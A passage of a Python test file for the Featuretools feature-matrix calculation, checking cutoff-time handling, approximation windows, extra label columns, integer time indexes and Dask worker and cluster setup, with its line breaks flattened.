dagg = DirectFeature(top_level_agg, pd_es['customers']) instance_ids = [0, 1, 2, 3] times = [datetime(2011, 4, 9, 12, 31), datetime(2011, 4, 10, 11), datetime(2011, 4, 10, 13, 10, 1), datetime(2011, 4, 10, 1, 59, 59)] cutoff_time = pd.DataFrame({'time': times, 'instance_id': instance_ids}) # Case1. include_cutoff_time = True feature_matrix = calculate_feature_matrix( [property_feature, dagg], pd_es, cutoff_time=cutoff_time, training_window='2 hours', include_cutoff_time=True, ) prop_values = [4, 5, 1, 0] assert (feature_matrix[property_feature.get_name()] == prop_values).values.all() dagg_values = [3, 2, 1, 3] feature_matrix.sort_index(inplace=True) assert (feature_matrix[dagg.get_name()] == dagg_values).values.all() # Case2. include_cutoff_time = False feature_matrix = calculate_feature_matrix( [property_feature, dagg], pd_es, cutoff_time=cutoff_time, training_window='2 hours', include_cutoff_time=False, ) prop_values = [5, 5, 1, 0] assert (feature_matrix[property_feature.get_name()] == prop_values).values.all() dagg_values = [3, 2, 1, 3] feature_matrix.sort_index(inplace=True) assert (feature_matrix[dagg.get_name()] == dagg_values).values.all() # TODO: add test to fail w/ koalas def test_approximate_fails_dask(dask_es): agg_feat = ft.Feature(dask_es['log']['id'], parent_entity=dask_es['sessions'], primitive=Count) error_text = "Using approximate is not supported with Dask Entities" with pytest.raises(ValueError, match=error_text): calculate_feature_matrix([agg_feat], dask_es, approximate=Timedelta(1, 'week')) def test_approximate_multiple_instances_per_cutoff_time(pd_es): agg_feat = ft.Feature(pd_es['log']['id'], parent_entity=pd_es['sessions'], primitive=Count) agg_feat2 = ft.Feature(agg_feat, parent_entity=pd_es['customers'], primitive=Sum) dfeat = DirectFeature(agg_feat2, pd_es['sessions']) times = [datetime(2011, 4, 9, 10, 31, 19), datetime(2011, 4, 9, 11, 0, 0)] cutoff_time = pd.DataFrame({'time': times, 'instance_id': [0, 2]}) feature_matrix = calculate_feature_matrix([dfeat, agg_feat], pd_es, approximate=Timedelta(1, 'week'), cutoff_time=cutoff_time) assert feature_matrix.shape[0] == 2 assert feature_matrix[agg_feat.get_name()].tolist() == [5, 1] def test_approximate_with_multiple_paths(pd_diamond_es): pd_es = pd_diamond_es path = backward_path(pd_es, ['regions', 'customers', 'transactions']) agg_feat = ft.AggregationFeature(pd_es['transactions']['id'], parent_entity=pd_es['regions'], relationship_path=path, primitive=Count) dfeat = DirectFeature(agg_feat, pd_es['customers']) times = [datetime(2011, 4, 9, 10, 31, 19), datetime(2011, 4, 9, 11, 0, 0)] cutoff_time = pd.DataFrame({'time': times, 'instance_id': [0, 2]}) feature_matrix = calculate_feature_matrix([dfeat], pd_es, approximate=Timedelta(1, 'week'), cutoff_time=cutoff_time) assert feature_matrix[dfeat.get_name()].tolist() == [6, 2] def test_approximate_dfeat_of_agg_on_target(pd_es): agg_feat = ft.Feature(pd_es['log']['id'], parent_entity=pd_es['sessions'], primitive=Count) agg_feat2 = ft.Feature(agg_feat, parent_entity=pd_es['customers'], primitive=Sum) dfeat = DirectFeature(agg_feat2, pd_es['sessions']) times = [datetime(2011, 4, 9, 10, 31, 19), datetime(2011, 4, 9, 11, 0, 0)] cutoff_time = pd.DataFrame({'time': times, 'instance_id': [0, 2]}) feature_matrix = calculate_feature_matrix([dfeat, agg_feat], pd_es, instance_ids=[0, 2], approximate=Timedelta(10, 's'), cutoff_time=cutoff_time) assert feature_matrix[dfeat.get_name()].tolist() == [7, 10] assert feature_matrix[agg_feat.get_name()].tolist() == [5, 1] def test_approximate_dfeat_of_need_all_values(pd_es): p = ft.Feature(pd_es['log']['value'], primitive=Percentile) agg_feat = ft.Feature(p, parent_entity=pd_es['sessions'], primitive=Sum) agg_feat2 = ft.Feature(agg_feat, parent_entity=pd_es['customers'], primitive=Sum) dfeat = DirectFeature(agg_feat2, pd_es['sessions']) times = [datetime(2011, 4, 9, 10, 31, 19), datetime(2011, 4, 9, 11, 0, 0)] cutoff_time = pd.DataFrame({'time': times, 'instance_id': [0, 2]}) feature_matrix = calculate_feature_matrix([dfeat, agg_feat], pd_es, approximate=Timedelta(10, 's'), cutoff_time_in_index=True, cutoff_time=cutoff_time) log_df = pd_es['log'].df instances = [0, 2] cutoffs = [pd.Timestamp('2011-04-09 10:31:19'), pd.Timestamp('2011-04-09 11:00:00')] approxes = [pd.Timestamp('2011-04-09 10:31:10'), pd.Timestamp('2011-04-09 11:00:00')] true_vals = [] true_vals_approx = [] for instance, cutoff, approx in zip(instances, cutoffs, approxes): log_data_cutoff = log_df[log_df['datetime'] < cutoff] log_data_cutoff['percentile'] = log_data_cutoff['value'].rank(pct=True) true_agg = log_data_cutoff.loc[log_data_cutoff['session_id'] == instance, 'percentile'].fillna(0).sum() true_vals.append(round(true_agg, 3)) log_data_approx = log_df[log_df['datetime'] < approx] log_data_approx['percentile'] = log_data_approx['value'].rank(pct=True) true_agg_approx = log_data_approx.loc[log_data_approx['session_id'].isin([0, 1, 2]), 'percentile'].fillna(0).sum() true_vals_approx.append(round(true_agg_approx, 3)) lapprox = [round(x, 3) for x in feature_matrix[dfeat.get_name()].tolist()] test_list = [round(x, 3) for x in feature_matrix[agg_feat.get_name()].tolist()] assert lapprox == true_vals_approx assert test_list == true_vals def test_uses_full_entity_feat_of_approximate(pd_es): agg_feat = ft.Feature(pd_es['log']['value'], parent_entity=pd_es['sessions'], primitive=Sum) agg_feat2 = ft.Feature(agg_feat, parent_entity=pd_es['customers'], primitive=Sum) agg_feat3 = ft.Feature(agg_feat, parent_entity=pd_es['customers'], primitive=Max) dfeat = DirectFeature(agg_feat2, pd_es['sessions']) dfeat2 = DirectFeature(agg_feat3, pd_es['sessions']) p = ft.Feature(dfeat, primitive=Percentile) times = [datetime(2011, 4, 9, 10, 31, 19), datetime(2011, 4, 9, 11, 0, 0)] cutoff_time = pd.DataFrame({'time': times, 'instance_id': [0, 2]}) # only dfeat2 should be approximated # because Percentile needs all values feature_matrix_only_dfeat2 = calculate_feature_matrix( [dfeat2], pd_es, approximate=Timedelta(10, 's'), cutoff_time_in_index=True, cutoff_time=cutoff_time) assert feature_matrix_only_dfeat2[dfeat2.get_name()].tolist() == [50, 50] feature_matrix_approx = calculate_feature_matrix( [p, dfeat, dfeat2, agg_feat], pd_es, approximate=Timedelta(10, 's'), cutoff_time_in_index=True, cutoff_time=cutoff_time) assert feature_matrix_only_dfeat2[dfeat2.get_name()].tolist() == feature_matrix_approx[dfeat2.get_name()].tolist() feature_matrix_small_approx = calculate_feature_matrix( [p, dfeat, dfeat2, agg_feat], pd_es, approximate=Timedelta(10, 'ms'), cutoff_time_in_index=True, cutoff_time=cutoff_time) feature_matrix_no_approx = calculate_feature_matrix( [p, dfeat, dfeat2, agg_feat], pd_es, cutoff_time_in_index=True, cutoff_time=cutoff_time) for f in [p, dfeat, agg_feat]: for fm1, fm2 in combinations([feature_matrix_approx, feature_matrix_small_approx, feature_matrix_no_approx], 2): assert fm1[f.get_name()].tolist() == fm2[f.get_name()].tolist() def test_approximate_dfeat_of_dfeat_of_agg_on_target(pd_es): agg_feat = ft.Feature(pd_es['log']['id'], parent_entity=pd_es['sessions'], primitive=Count) agg_feat2 = ft.Feature(agg_feat, parent_entity=pd_es['customers'], primitive=Sum) dfeat = DirectFeature(ft.Feature(agg_feat2, pd_es["sessions"]), pd_es['log']) times = [datetime(2011, 4, 9, 10, 31, 19), datetime(2011, 4, 9, 11, 0, 0)] cutoff_time = pd.DataFrame({'time': times, 'instance_id': [0, 2]}) feature_matrix = calculate_feature_matrix([dfeat], pd_es, approximate=Timedelta(10, 's'), cutoff_time=cutoff_time) assert feature_matrix[dfeat.get_name()].tolist() == [7, 10] def test_empty_path_approximate_full(pd_es): pd_es['sessions'].df['customer_id'] = pd.Series([np.nan, np.nan, np.nan, 1, 1, 2], dtype="category") agg_feat = ft.Feature(pd_es['log']['id'], parent_entity=pd_es['sessions'], primitive=Count) agg_feat2 = ft.Feature(agg_feat, parent_entity=pd_es['customers'], primitive=Sum) dfeat = DirectFeature(agg_feat2, pd_es['sessions']) times = [datetime(2011, 4, 9, 10, 31, 19), datetime(2011, 4, 9, 11, 0, 0)] cutoff_time = pd.DataFrame({'time': times, 'instance_id': [0, 2]}) feature_matrix = calculate_feature_matrix([dfeat, agg_feat], pd_es, approximate=Timedelta(10, 's'), cutoff_time=cutoff_time) vals1 = feature_matrix[dfeat.get_name()].tolist() assert (vals1[0] == 0) assert (vals1[1] == 0) assert feature_matrix[agg_feat.get_name()].tolist() == [5, 1] # todo: do we need to test this situation? # def test_empty_path_approximate_partial(pd_es): # pd_es = copy.deepcopy(pd_es) # pd_es['sessions'].df['customer_id'] = pd.Categorical([0, 0, np.nan, 1, 1, 2]) # agg_feat = ft.Feature(pd_es['log']['id'], parent_entity=pd_es['sessions'], primitive=Count) # agg_feat2 = ft.Feature(agg_feat, parent_entity=pd_es['customers'], primitive=Sum) # dfeat = DirectFeature(agg_feat2, pd_es['sessions']) # times = [datetime(2011, 4, 9, 10, 31, 19), datetime(2011, 4, 9, 11, 0, 0)] # cutoff_time = pd.DataFrame({'time': times, 'instance_id': [0, 2]}) # feature_matrix = calculate_feature_matrix([dfeat, agg_feat], # pd_es, # approximate=Timedelta(10, 's'), # cutoff_time=cutoff_time) # vals1 = feature_matrix[dfeat.get_name()].tolist() # assert vals1[0] == 7 # assert np.isnan(vals1[1]) # assert feature_matrix[agg_feat.get_name()].tolist() == [5, 1] def test_approx_base_feature_is_also_first_class_feature(pd_es): log_to_products = DirectFeature(pd_es['products']['rating'], pd_es['log']) # This should still be computed properly agg_feat = ft.Feature(log_to_products, parent_entity=pd_es['sessions'], primitive=Min) customer_agg_feat = ft.Feature(agg_feat, parent_entity=pd_es['customers'], primitive=Sum) # This is to be approximated sess_to_cust = DirectFeature(customer_agg_feat, pd_es['sessions']) times = [datetime(2011, 4, 9, 10, 31, 19), datetime(2011, 4, 9, 11, 0, 0)] cutoff_time = pd.DataFrame({'time': times, 'instance_id': [0, 2]}) feature_matrix = calculate_feature_matrix([sess_to_cust, agg_feat], pd_es, approximate=Timedelta(10, 's'), cutoff_time=cutoff_time) vals1 = feature_matrix[sess_to_cust.get_name()].tolist() assert vals1 == [8.5, 7] vals2 = feature_matrix[agg_feat.get_name()].tolist() assert vals2 == [4, 1.5] def test_approximate_time_split_returns_the_same_result(pd_es): agg_feat = ft.Feature(pd_es['log']['id'], parent_entity=pd_es['sessions'], primitive=Count) agg_feat2 = ft.Feature(agg_feat, parent_entity=pd_es['customers'], primitive=Sum) dfeat = DirectFeature(agg_feat2, pd_es['sessions']) cutoff_df = pd.DataFrame({'time': [pd.Timestamp('2011-04-09 10:07:30'), pd.Timestamp('2011-04-09 10:07:40')], 'instance_id': [0, 0]}) feature_matrix_at_once = calculate_feature_matrix([dfeat, agg_feat], pd_es, approximate=Timedelta(10, 's'), cutoff_time=cutoff_df) divided_matrices = [] separate_cutoff = [cutoff_df.iloc[0:1], cutoff_df.iloc[1:]] # Make sure indexes are different # Not that this step is unecessary and done to showcase the issue here separate_cutoff[0].index = [0] separate_cutoff[1].index = [1] for ct in separate_cutoff: fm = calculate_feature_matrix([dfeat, agg_feat], pd_es, approximate=Timedelta(10, 's'), cutoff_time=ct) divided_matrices.append(fm) feature_matrix_from_split = pd.concat(divided_matrices) assert feature_matrix_from_split.shape == feature_matrix_at_once.shape for i1, i2 in zip(feature_matrix_at_once.index, feature_matrix_from_split.index): assert (pd.isnull(i1) and pd.isnull(i2)) or (i1 == i2) for c in feature_matrix_from_split: for i1, i2 in zip(feature_matrix_at_once[c], feature_matrix_from_split[c]): assert (pd.isnull(i1) and pd.isnull(i2)) or (i1 == i2) def test_approximate_returns_correct_empty_default_values(pd_es): agg_feat = ft.Feature(pd_es['log']['id'], parent_entity=pd_es['customers'], primitive=Count) dfeat = DirectFeature(agg_feat, pd_es['sessions']) cutoff_df = pd.DataFrame({'time': [pd.Timestamp('2011-04-08 11:00:00'), pd.Timestamp('2011-04-09 11:00:00')], 'instance_id': [0, 0]}) fm = calculate_feature_matrix([dfeat], pd_es, approximate=Timedelta(10, 's'), cutoff_time=cutoff_df) assert fm[dfeat.get_name()].tolist() == [0, 10] # def test_approximate_deep_recurse(pd_es): # pd_es = pd_es # agg_feat = ft.Feature(pd_es['customers']['id'], parent_entity=pd_es[u'régions'], primitive=Count) # dfeat1 = DirectFeature(agg_feat, pd_es['sessions']) # agg_feat2 = Sum(dfeat1, pd_es['customers']) # dfeat2 = DirectFeature(agg_feat2, pd_es['sessions']) # agg_feat3 = ft.Feature(pd_es['log']['id'], parent_entity=pd_es['products'], primitive=Count) # dfeat3 = DirectFeature(agg_feat3, pd_es['log']) # agg_feat4 = Sum(dfeat3, pd_es['sessions']) # feature_matrix = calculate_feature_matrix([dfeat2, agg_feat4], # pd_es, # instance_ids=[0, 2], # approximate=Timedelta(10, 's'), # cutoff_time=[datetime(2011, 4, 9, 10, 31, 19), # datetime(2011, 4, 9, 11, 0, 0)]) # # dfeat2 and agg_feat4 should both be approximated def test_approximate_child_aggs_handled_correctly(pd_es): agg_feat = ft.Feature(pd_es['customers']['id'], parent_entity=pd_es[u'régions'], primitive=Count) dfeat = DirectFeature(agg_feat, pd_es['customers']) agg_feat_2 = ft.Feature(pd_es['log']['value'], parent_entity=pd_es['customers'], primitive=Sum) cutoff_df = pd.DataFrame({'time': [pd.Timestamp('2011-04-08 10:30:00'), pd.Timestamp('2011-04-09 10:30:06')], 'instance_id': [0, 0]}) fm = calculate_feature_matrix([dfeat], pd_es, approximate=Timedelta(10, 's'), cutoff_time=cutoff_df) fm_2 = calculate_feature_matrix([dfeat, agg_feat_2], pd_es, approximate=Timedelta(10, 's'), cutoff_time=cutoff_df) assert fm[dfeat.get_name()].tolist() == [2, 3] assert fm_2[agg_feat_2.get_name()].tolist() == [0, 5] def test_cutoff_time_naming(es): agg_feat = ft.Feature(es['customers']['id'], parent_entity=es[u'régions'], primitive=Count) dfeat = DirectFeature(agg_feat, es['customers']) cutoff_df = pd.DataFrame({'time': [pd.Timestamp('2011-04-08 10:30:00'), pd.Timestamp('2011-04-09 10:30:06')], 'instance_id': [0, 0]}) cutoff_df_index_name = cutoff_df.rename(columns={"instance_id": "id"}) cutoff_df_wrong_index_name = cutoff_df.rename(columns={"instance_id": "wrong_id"}) cutoff_df_wrong_time_name = cutoff_df.rename(columns={"time": "cutoff_time"}) fm1 = calculate_feature_matrix([dfeat], es, cutoff_time=cutoff_df) fm1 = to_pandas(fm1, index='id', sort_index=True) fm2 = calculate_feature_matrix([dfeat], es, cutoff_time=cutoff_df_index_name) fm2 = to_pandas(fm2, index='id', sort_index=True) assert all((fm1 == fm2.values).values) error_text = 'Cutoff time DataFrame must contain a column with either the same name' \ ' as the target entity index or a column named "instance_id"' with pytest.raises(AttributeError, match=error_text): calculate_feature_matrix([dfeat], es, cutoff_time=cutoff_df_wrong_index_name) time_error_text = 'Cutoff time DataFrame must contain a column with either the same name' \ ' as the target entity time_index or a column named "time"' with pytest.raises(AttributeError, match=time_error_text): calculate_feature_matrix([dfeat], es, cutoff_time=cutoff_df_wrong_time_name) # TODO: order doesn't match, but output matches def test_cutoff_time_extra_columns(es): if es.dataframe_type != Library.PANDAS.value: pytest.xfail('Distributed result not ordered') agg_feat = ft.Feature(es['customers']['id'], parent_entity=es[u'régions'], primitive=Count) dfeat = DirectFeature(agg_feat, es['customers']) cutoff_df = pd.DataFrame({'time': [pd.Timestamp('2011-04-09 10:30:06'), pd.Timestamp('2011-04-09 10:30:03'), pd.Timestamp('2011-04-08 10:30:00')], 'instance_id': [0, 1, 0], 'label': [True, True, False]}, columns=['time', 'instance_id', 'label']) fm = calculate_feature_matrix([dfeat], es, cutoff_time=cutoff_df) # check column was added to end of matrix assert 'label' == fm.columns[-1] assert (fm['label'].values == cutoff_df['label'].values).all() def test_cutoff_time_extra_columns_approximate(pd_es): agg_feat = ft.Feature(pd_es['customers']['id'], parent_entity=pd_es[u'régions'], primitive=Count) dfeat = DirectFeature(agg_feat, pd_es['customers']) cutoff_df = pd.DataFrame({'time': [pd.Timestamp('2011-04-09 10:30:06'), pd.Timestamp('2011-04-09 10:30:03'), pd.Timestamp('2011-04-08 10:30:00')], 'instance_id': [0, 1, 0], 'label': [True, True, False]}, columns=['time', 'instance_id', 'label']) fm = calculate_feature_matrix([dfeat], pd_es, cutoff_time=cutoff_df, approximate="2 days") # check column was added to end of matrix assert 'label' in fm.columns assert (fm['label'].values == cutoff_df['label'].values).all() def test_cutoff_time_extra_columns_same_name(es): if es.dataframe_type != Library.PANDAS.value: pytest.xfail('Distributed result not ordered') agg_feat = ft.Feature(es['customers']['id'], parent_entity=es[u'régions'], primitive=Count) dfeat = DirectFeature(agg_feat, es['customers']) cutoff_df = pd.DataFrame({'time': [pd.Timestamp('2011-04-09 10:30:06'), pd.Timestamp('2011-04-09 10:30:03'), pd.Timestamp('2011-04-08 10:30:00')], 'instance_id': [0, 1, 0], 'régions.COUNT(customers)': [False, False, True]}, columns=['time', 'instance_id', 'régions.COUNT(customers)']) fm = calculate_feature_matrix([dfeat], es, cutoff_time=cutoff_df) assert (fm['régions.COUNT(customers)'].values == cutoff_df['régions.COUNT(customers)'].values).all() def test_cutoff_time_extra_columns_same_name_approximate(pd_es): agg_feat = ft.Feature(pd_es['customers']['id'], parent_entity=pd_es[u'régions'], primitive=Count) dfeat = DirectFeature(agg_feat, pd_es['customers']) cutoff_df = pd.DataFrame({'time': [pd.Timestamp('2011-04-09 10:30:06'), pd.Timestamp('2011-04-09 10:30:03'), pd.Timestamp('2011-04-08 10:30:00')], 'instance_id': [0, 1, 0], 'régions.COUNT(customers)': [False, False, True]}, columns=['time', 'instance_id', 'régions.COUNT(customers)']) fm = calculate_feature_matrix([dfeat], pd_es, cutoff_time=cutoff_df, approximate="2 days") assert (fm['régions.COUNT(customers)'].values == cutoff_df['régions.COUNT(customers)'].values).all() def test_instances_after_cutoff_time_removed(es): property_feature = ft.Feature(es['log']['id'], parent_entity=es['customers'], primitive=Count) cutoff_time = datetime(2011, 4, 8) fm = calculate_feature_matrix([property_feature], es, cutoff_time=cutoff_time, cutoff_time_in_index=True) fm = to_pandas(fm, index='id', sort_index=True) actual_ids = [id for (id, _) in fm.index] if isinstance(fm.index, pd.MultiIndex) else fm.index # Customer with id 1 should be removed assert set(actual_ids) == set([2, 0]) # TODO: Dask and Koalas do not keep instance_id after cutoff def test_instances_with_id_kept_after_cutoff(es): if es.dataframe_type != Library.PANDAS.value: pytest.xfail('Distributed result not ordered, missing extra instances') property_feature = ft.Feature(es['log']['id'], parent_entity=es['customers'], primitive=Count) cutoff_time = datetime(2011, 4, 8) fm = calculate_feature_matrix([property_feature], es, instance_ids=[0, 1, 2], cutoff_time=cutoff_time, cutoff_time_in_index=True) # Customer #1 is after cutoff, but since it is included in instance_ids it # should be kept. actual_ids = [id for (id, _) in fm.index] if isinstance(fm.index, pd.MultiIndex) else fm.index assert set(actual_ids) == set([0, 1, 2]) # TODO: Fails with Dask # TODO: Fails with Koalas def test_cfm_returns_original_time_indexes(es): if es.dataframe_type != Library.PANDAS.value: pytest.xfail('Distributed result not ordered, indexes are lost due to not multiindexing') agg_feat = ft.Feature(es['customers']['id'], parent_entity=es[u'régions'], primitive=Count) dfeat = DirectFeature(agg_feat, es['customers']) cutoff_df = pd.DataFrame({'time': [pd.Timestamp('2011-04-09 10:30:06'), pd.Timestamp('2011-04-09 10:30:03'), pd.Timestamp('2011-04-08 10:30:00')], 'instance_id': [0, 1, 0]}) fm = calculate_feature_matrix([dfeat], es, cutoff_time=cutoff_df, cutoff_time_in_index=True) instance_level_vals = fm.index.get_level_values(0).values time_level_vals = fm.index.get_level_values(1).values assert (instance_level_vals == cutoff_df['instance_id'].values).all() assert (time_level_vals == cutoff_df['time'].values).all() def test_cfm_returns_original_time_indexes_approximate(pd_es): agg_feat = ft.Feature(pd_es['customers']['id'], parent_entity=pd_es[u'régions'], primitive=Count) dfeat = DirectFeature(agg_feat, pd_es['customers']) agg_feat_2 = ft.Feature(pd_es['sessions']['id'], parent_entity=pd_es['customers'], primitive=Count) cutoff_df = pd.DataFrame({'time': [pd.Timestamp('2011-04-09 10:30:06'), pd.Timestamp('2011-04-09 10:30:03'), pd.Timestamp('2011-04-08 10:30:00')], 'instance_id': [0, 1, 0]}) # approximate, in different windows, no unapproximated aggs fm = calculate_feature_matrix([dfeat], pd_es, cutoff_time=cutoff_df, cutoff_time_in_index=True, approximate="1 m") instance_level_vals = fm.index.get_level_values(0).values time_level_vals = fm.index.get_level_values(1).values assert (instance_level_vals == cutoff_df['instance_id'].values).all() assert (time_level_vals == cutoff_df['time'].values).all() # approximate, in different windows, unapproximated aggs fm = calculate_feature_matrix([dfeat, agg_feat_2], pd_es, cutoff_time=cutoff_df, cutoff_time_in_index=True, approximate="1 m") instance_level_vals = fm.index.get_level_values(0).values time_level_vals = fm.index.get_level_values(1).values assert (instance_level_vals == cutoff_df['instance_id'].values).all() assert (time_level_vals == cutoff_df['time'].values).all() # approximate, in same window, no unapproximated aggs fm2 = calculate_feature_matrix([dfeat], pd_es, cutoff_time=cutoff_df, cutoff_time_in_index=True, approximate="2 d") instance_level_vals = fm2.index.get_level_values(0).values time_level_vals = fm2.index.get_level_values(1).values assert (instance_level_vals == cutoff_df['instance_id'].values).all() assert (time_level_vals == cutoff_df['time'].values).all() # approximate, in same window, unapproximated aggs fm3 = calculate_feature_matrix([dfeat, agg_feat_2], pd_es, cutoff_time=cutoff_df, cutoff_time_in_index=True, approximate="2 d") instance_level_vals = fm3.index.get_level_values(0).values time_level_vals = fm3.index.get_level_values(1).values assert (instance_level_vals == cutoff_df['instance_id'].values).all() assert (time_level_vals == cutoff_df['time'].values).all() def test_dask_kwargs(pd_es): times = list([datetime(2011, 4, 9, 10, 30, i * 6) for i in range(5)] + [datetime(2011, 4, 9, 10, 31, i * 9) for i in range(4)] + [datetime(2011, 4, 9, 10, 40, 0)] + [datetime(2011, 4, 10, 10, 40, i) for i in range(2)] + [datetime(2011, 4, 10, 10, 41, i * 3) for i in range(3)] + [datetime(2011, 4, 10, 11, 10, i * 3) for i in range(2)]) labels = [False] * 3 + [True] * 2 + [False] * 9 + [True] + [False] * 2 cutoff_time = pd.DataFrame({'time': times, 'instance_id': range(17)}) property_feature = IdentityFeature(pd_es['log']['value']) > 10 with cluster() as (scheduler, [a, b]): dkwargs = {'cluster': scheduler['address']} feature_matrix = calculate_feature_matrix([property_feature], entityset=pd_es, cutoff_time=cutoff_time, verbose=True, chunk_size=.13, dask_kwargs=dkwargs, approximate='1 hour') assert (feature_matrix[property_feature.get_name()] == labels).values.all() def test_dask_persisted_es(pd_es, capsys): times = list([datetime(2011, 4, 9, 10, 30, i * 6) for i in range(5)] + [datetime(2011, 4, 9, 10, 31, i * 9) for i in range(4)] + [datetime(2011, 4, 9, 10, 40, 0)] + [datetime(2011, 4, 10, 10, 40, i) for i in range(2)] + [datetime(2011, 4, 10, 10, 41, i * 3) for i in range(3)] + [datetime(2011, 4, 10, 11, 10, i * 3) for i in range(2)]) labels = [False] * 3 + [True] * 2 + [False] * 9 + [True] + [False] * 2 cutoff_time = pd.DataFrame({'time': times, 'instance_id': range(17)}) property_feature = IdentityFeature(pd_es['log']['value']) > 10 with cluster() as (scheduler, [a, b]): dkwargs = {'cluster': scheduler['address']} feature_matrix = calculate_feature_matrix([property_feature], entityset=pd_es, cutoff_time=cutoff_time, verbose=True, chunk_size=.13, dask_kwargs=dkwargs, approximate='1 hour') assert (feature_matrix[property_feature.get_name()] == labels).values.all() feature_matrix = calculate_feature_matrix([property_feature], entityset=pd_es, cutoff_time=cutoff_time, verbose=True, chunk_size=.13, dask_kwargs=dkwargs, approximate='1 hour') captured = capsys.readouterr() assert "Using EntitySet persisted on the cluster as dataset " in captured[0] assert (feature_matrix[property_feature.get_name()] == labels).values.all() class TestCreateClientAndCluster(object): def test_user_cluster_as_string(self, monkeypatch): monkeypatch.setattr(utils, "get_client_cluster", get_mock_client_cluster) # cluster in dask_kwargs case client, cluster = create_client_and_cluster(n_jobs=2, dask_kwargs={'cluster': 'tcp://127.0.0.1:54321'}, entityset_size=1) assert cluster == 'tcp://127.0.0.1:54321' def test_cluster_creation(self, monkeypatch): total_memory = psutil.virtual_memory().total monkeypatch.setattr(utils, "get_client_cluster", get_mock_client_cluster) try: cpus = len(psutil.Process().cpu_affinity()) except AttributeError: cpus = psutil.cpu_count() # jobs < tasks case client, cluster = create_client_and_cluster(n_jobs=2, dask_kwargs={}, entityset_size=1) num_workers = min(cpus, 2) memory_limit = int(total_memory / float(num_workers)) assert cluster == (min(cpus, 2), 1, None, memory_limit) # jobs > tasks case match = r'.*workers requested, but only .* workers created' with pytest.warns(UserWarning, match=match) as record: client, cluster = create_client_and_cluster(n_jobs=1000, dask_kwargs={'diagnostics_port': 8789}, entityset_size=1) assert len(record) == 1 num_workers = cpus memory_limit = int(total_memory / float(num_workers)) assert cluster == (num_workers, 1, 8789, memory_limit) # dask_kwargs sets memory limit client, cluster = create_client_and_cluster(n_jobs=2, dask_kwargs={'diagnostics_port': 8789, 'memory_limit': 1000}, entityset_size=1) num_workers = min(cpus, 2) assert cluster == (num_workers, 1, 8789, 1000) def test_not_enough_memory(self, monkeypatch): total_memory = psutil.virtual_memory().total monkeypatch.setattr(utils, "get_client_cluster", get_mock_client_cluster) # errors if not enough memory for each worker to store the entityset with pytest.raises(ValueError, match=''): create_client_and_cluster(n_jobs=1, dask_kwargs={}, entityset_size=total_memory * 2) # does not error even if worker memory is less than 2x entityset size create_client_and_cluster(n_jobs=1, dask_kwargs={}, entityset_size=total_memory * .75) def test_parallel_failure_raises_correct_error(pd_es): times = list([datetime(2011, 4, 9, 10, 30, i * 6) for i in range(5)] + [datetime(2011, 4, 9, 10, 31, i * 9) for i in range(4)] + [datetime(2011, 4, 9, 10, 40, 0)] + [datetime(2011, 4, 10, 10, 40, i) for i in range(2)] + [datetime(2011, 4, 10, 10, 41, i * 3) for i in range(3)] + [datetime(2011, 4, 10, 11, 10, i * 3) for i in range(2)]) cutoff_time = pd.DataFrame({'time': times, 'instance_id': range(17)}) property_feature = IdentityFeature(pd_es['log']['value']) > 10 error_text = 'Need at least one worker' with pytest.raises(AssertionError, match=error_text): calculate_feature_matrix([property_feature], entityset=pd_es, cutoff_time=cutoff_time, verbose=True, chunk_size=.13, n_jobs=0, approximate='1 hour') def test_warning_not_enough_chunks(pd_es, capsys): property_feature = IdentityFeature(pd_es['log']['value']) > 10 with cluster(nworkers=3) as (scheduler, [a, b, c]): dkwargs = {'cluster': scheduler['address']} calculate_feature_matrix([property_feature], entityset=pd_es, chunk_size=.5, verbose=True, dask_kwargs=dkwargs) captured = capsys.readouterr() pattern = r'Fewer chunks $[0-9]+$, than workers $[0-9]+$ consider reducing the chunk size' assert re.search(pattern, captured.out) is not None def test_n_jobs(): try: cpus = len(psutil.Process().cpu_affinity()) except AttributeError: cpus = psutil.cpu_count() assert n_jobs_to_workers(1) == 1 assert n_jobs_to_workers(-1) == cpus assert n_jobs_to_workers(cpus) == cpus assert n_jobs_to_workers((cpus + 1) * -1) == 1 if cpus > 1: assert n_jobs_to_workers(-2) == cpus - 1 error_text = 'Need at least one worker' with pytest.raises(AssertionError, match=error_text): n_jobs_to_workers(0) # TODO: add dask version of int_es def test_integer_time_index(int_es): times = list(range(8, 18)) + list(range(19, 26)) labels = [False] * 3 + [True] * 2 + [False] * 9 + [True] + [False] * 2 cutoff_df = pd.DataFrame({'time': times, 'instance_id': range(17)}) property_feature = IdentityFeature(int_es['log']['value']) > 10 feature_matrix = calculate_feature_matrix([property_feature], int_es, cutoff_time=cutoff_df, cutoff_time_in_index=True) time_level_vals = feature_matrix.index.get_level_values(1).values sorted_df = cutoff_df.sort_values(['time', 'instance_id'], kind='mergesort') assert (time_level_vals == sorted_df['time'].values).all() assert (feature_matrix[property_feature.get_name()] == labels).values.all() def test_integer_time_index_single_cutoff_value(int_es): labels = [False] * 3 + [True] * 2 + [False] * 4 property_feature = IdentityFeature(int_es['log']['value']) > 10 cutoff_times = [16, pd.Series([16])[0], 16.0, pd.Series([16.0])[0]] for cutoff_time in cutoff_times: feature_matrix = calculate_feature_matrix([property_feature], int_es, cutoff_time=cutoff_time, cutoff_time_in_index=True) time_level_vals = feature_matrix.index.get_level_values(1).values assert (time_level_vals == [16] * 9).all() assert (feature_matrix[property_feature.get_name()] == labels).values.all() # TODO: add dask version of int_es def test_integer_time_index_datetime_cutoffs(int_es): times = [datetime.now()] * 17 cutoff_df = pd.DataFrame({'time': times, 'instance_id': range(17)}) property_feature = IdentityFeature(int_es['log']['value']) > 10 error_text = "cutoff_time times must be numeric: try casting via pd\\.to_numeric\$\$" with pytest.raises(TypeError, match=error_text): calculate_feature_matrix([property_feature], int_es, cutoff_time=cutoff_df, cutoff_time_in_index=True) # TODO: add Dask version of int_es def test_integer_time_index_passes_extra_columns(int_es): times = list(range(8, 18)) + list(range(19, 23)) + [25, 24, 23] labels = [False] * 3 + [True] * 2 + [False] * 9 + [False] * 2 + [True] instances = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 16, 15, 14] cutoff_df = pd.DataFrame({'time': times, 'instance_id': instances, 'labels': labels}) cutoff_df = cutoff_df[['time', 'instance_id', 'labels']] property_feature = IdentityFeature(int_es['log']['value']) > 10 fm = calculate_feature_matrix([property_feature], int_es, cutoff_time=cutoff_df, cutoff_time_in_index=True) assert (fm[property_feature.get_name()] == fm['labels']).all() # TODO: add Dask version of int_es def test_integer_time_index_mixed_cutoff(int_es): times_dt = list(range(8, 17)) + [datetime(2011, 1, 1), 19, 20, 21, 22, 25, 24, 23] labels = [False] * 3 + [True] * 2 